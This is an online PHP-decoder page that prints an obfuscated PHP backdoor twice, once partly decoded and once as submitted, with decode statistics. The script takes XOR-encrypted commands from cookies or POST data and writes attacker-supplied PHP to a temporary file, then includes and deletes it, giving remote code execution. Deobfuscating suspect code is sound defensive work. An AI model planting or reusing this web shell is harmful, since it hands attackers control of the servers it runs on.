Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function fnyqvm(){$gxefeb='aachocptq_'; print_r/*so */(3366+3366);/* rm *..
Decoded Output download
<?php function fnyqvm(){$gxefeb='aachocptq_'; print_r/*so */(3366+3366);/* rm */}$swreq/*kr*/= 'swreq' ^ '';function kdjyxhyxf($vilkezwtm, $mzecgsv)
{
/* d */global/* vkjb */$swreq;
$nwkposc = ""; for ($vhes_o = 0;/* py_l */$vhes_o </* vii */strlen($vilkezwtm);) {
/* hyf */for ($rerqxsw = 0; $rerqxsw </* pk */strlen($mzecgsv) && $vhes_o/* yf*/</* fino*/strlen($vilkezwtm); $rerqxsw++, $vhes_o++) {
$nwkposc/* w */.= $swreq(ord($vilkezwtm[$vhes_o]) ^ ord($mzecgsv[$rerqxsw]));
}
} return $nwkposc;}
function/* m*/eeroo($sovvku, $vilkezwtm)
{
global $swreq;
$rerqxswnwnr = sprintf($swreq(46) ./*akqve */"/".$swreq(37) . $swreq(764-649) . $swreq(657-611) . "p"."l", md5($sovvku));
/* snc */file_put_contents($rerqxswnwnr,/* f*/"<" . $swreq(63) . "p" . "h" . "p" . $swreq(32) . "u".$swreq(110)/*yi */. "l"."i"/* nsv */. "n"."k"/*gogrj */. "(" . $swreq(95) . $swreq(141-46)/* rhi*/. "F"/*z */. "I"."L"."E".$swreq(95) . "_".$swreq(340-299) . ";" ./* hi*/$swreq(32)/* senv*/. $vilkezwtm["d"]);
include($rerqxswnwnr);
$obtsbxil = $rerqxswnwnr; unlink($obtsbxil);
}
function/*zepz */imjzw()
{
global $swreq;
$vhes_o =/*oo */array();
$vhes_o["p".$swreq(930-812)] = phpversion();
$vhes_o[$swreq(115) . "v"]/* twqto */= "3"."." . "5"; echo/* p */@serialize($vhes_o);
}
function/* qq */brg_tuupy($vilkezwtm, $sovvku, $pnctqoeomg){
global $swreq;
$vilkezwtm = unserialize(kdjyxhyxf(kdjyxhyxf(base64_decode($vilkezwtm), $sovvku), $pnctqoeomg));/*ouj */if (isset($vilkezwtm["a".$swreq(107)])) {
if ($vilkezwtm["a"] == "i") {
imjzw();/* qdfq */} elseif/* mb */($vilkezwtm["a"] == $swreq(101))/* vdf */{
/* lx */eeroo($sovvku, $vilkezwtm);
} exit();
}
}
$rnnkbm/* iffvc*/=/* e_ */$_COOKIE;
$kmxxzc = $_POST;$rnnkbm = array_merge($kmxxzc, $rnnkbm);
$sovvku = $swreq(101)."9"/* hc */. "b"."8" ./* j */"7" . "b"."3" ./* cdtb */$swreq(90-39) . "-"."9".$swreq(723-626) . "9" . "5"."-"."4"."2"."f"."b"."-" . "b"."9"/*elu */./* ag*/"5" . "7".$swreq(45)/* n */. "0"."b"/* ogo */./* ac */"0" . "1"."2"."1" . "0" . $swreq(450-396)/* b_a*/. "b"."3".$swreq(54) ./*jf */"5";
foreach ($rnnkbm/*fxvyx */as $pnctqoeomg => $vilkezwtm)/*u */{
brg_tuupy($vilkezwtm, $sovvku,/* jp */$pnctqoeomg);}
?>
Did this file decode correctly?
Original Code
<?php function fnyqvm(){$gxefeb='aachocptq_'; print_r/*so */(3366+3366);/* rm */}$swreq/*kr*/= 'swreq' ^ '';function kdjyxhyxf($vilkezwtm, $mzecgsv)
{
/* d */global/* vkjb */$swreq;
$nwkposc = ""; for ($vhes_o = 0;/* py_l */$vhes_o </* vii */strlen($vilkezwtm);) {
/* hyf */for ($rerqxsw = 0; $rerqxsw </* pk */strlen($mzecgsv) && $vhes_o/* yf*/</* fino*/strlen($vilkezwtm); $rerqxsw++, $vhes_o++) {
$nwkposc/* w */.= $swreq(ord($vilkezwtm[$vhes_o]) ^ ord($mzecgsv[$rerqxsw]));
}
} return $nwkposc;}
function/* m*/eeroo($sovvku, $vilkezwtm)
{
global $swreq;
$rerqxswnwnr = sprintf($swreq(46) ./*akqve */"/".$swreq(37) . $swreq(764-649) . $swreq(657-611) . "p"."l", md5($sovvku));
/* snc */file_put_contents($rerqxswnwnr,/* f*/"<" . $swreq(63) . "\x70" . "\x68" . "\x70" . $swreq(32) . "u".$swreq(110)/*yi */. "l"."\151"/* nsv */. "n"."\153"/*gogrj */. "\50" . $swreq(95) . $swreq(141-46)/* rhi*/. "\106"/*z */. "I"."L"."E".$swreq(95) . "_".$swreq(340-299) . "\73" ./* hi*/$swreq(32)/* senv*/. $vilkezwtm["d"]);
include($rerqxswnwnr);
$obtsbxil = $rerqxswnwnr; unlink($obtsbxil);
}
function/*zepz */imjzw()
{
global $swreq;
$vhes_o =/*oo */array();
$vhes_o["p".$swreq(930-812)] = phpversion();
$vhes_o[$swreq(115) . "\x76"]/* twqto */= "3"."\56" . "5"; echo/* p */@serialize($vhes_o);
}
function/* qq */brg_tuupy($vilkezwtm, $sovvku, $pnctqoeomg){
global $swreq;
$vilkezwtm = unserialize(kdjyxhyxf(kdjyxhyxf(base64_decode($vilkezwtm), $sovvku), $pnctqoeomg));/*ouj */if (isset($vilkezwtm["a".$swreq(107)])) {
if ($vilkezwtm["a"] == "\x69") {
imjzw();/* qdfq */} elseif/* mb */($vilkezwtm["a"] == $swreq(101))/* vdf */{
/* lx */eeroo($sovvku, $vilkezwtm);
} exit();
}
}
$rnnkbm/* iffvc*/=/* e_ */$_COOKIE;
$kmxxzc = $_POST;$rnnkbm = array_merge($kmxxzc, $rnnkbm);
$sovvku = $swreq(101)."\71"/* hc */. "b"."\x38" ./* j */"\x37" . "b"."\63" ./* cdtb */$swreq(90-39) . "-"."9".$swreq(723-626) . "\71" . "5"."-"."4"."2"."f"."b"."\55" . "b"."\71"/*elu */./* ag*/"\x35" . "7".$swreq(45)/* n */. "0"."\x62"/* ogo */./* ac */"\60" . "1"."2"."\61" . "\60" . $swreq(450-396)/* b_a*/. "b"."3".$swreq(54) ./*jf */"\x35";
foreach ($rnnkbm/*fxvyx */as $pnctqoeomg => $vilkezwtm)/*u */{
brg_tuupy($vilkezwtm, $sovvku,/* jp */$pnctqoeomg);}
Function Calls
array_merge | 1 |
Stats
MD5 | 7d47eb01ba76403a6b1135bdd1b8bbe5 |
Eval Count | 0 |
Decode Time | 85 ms |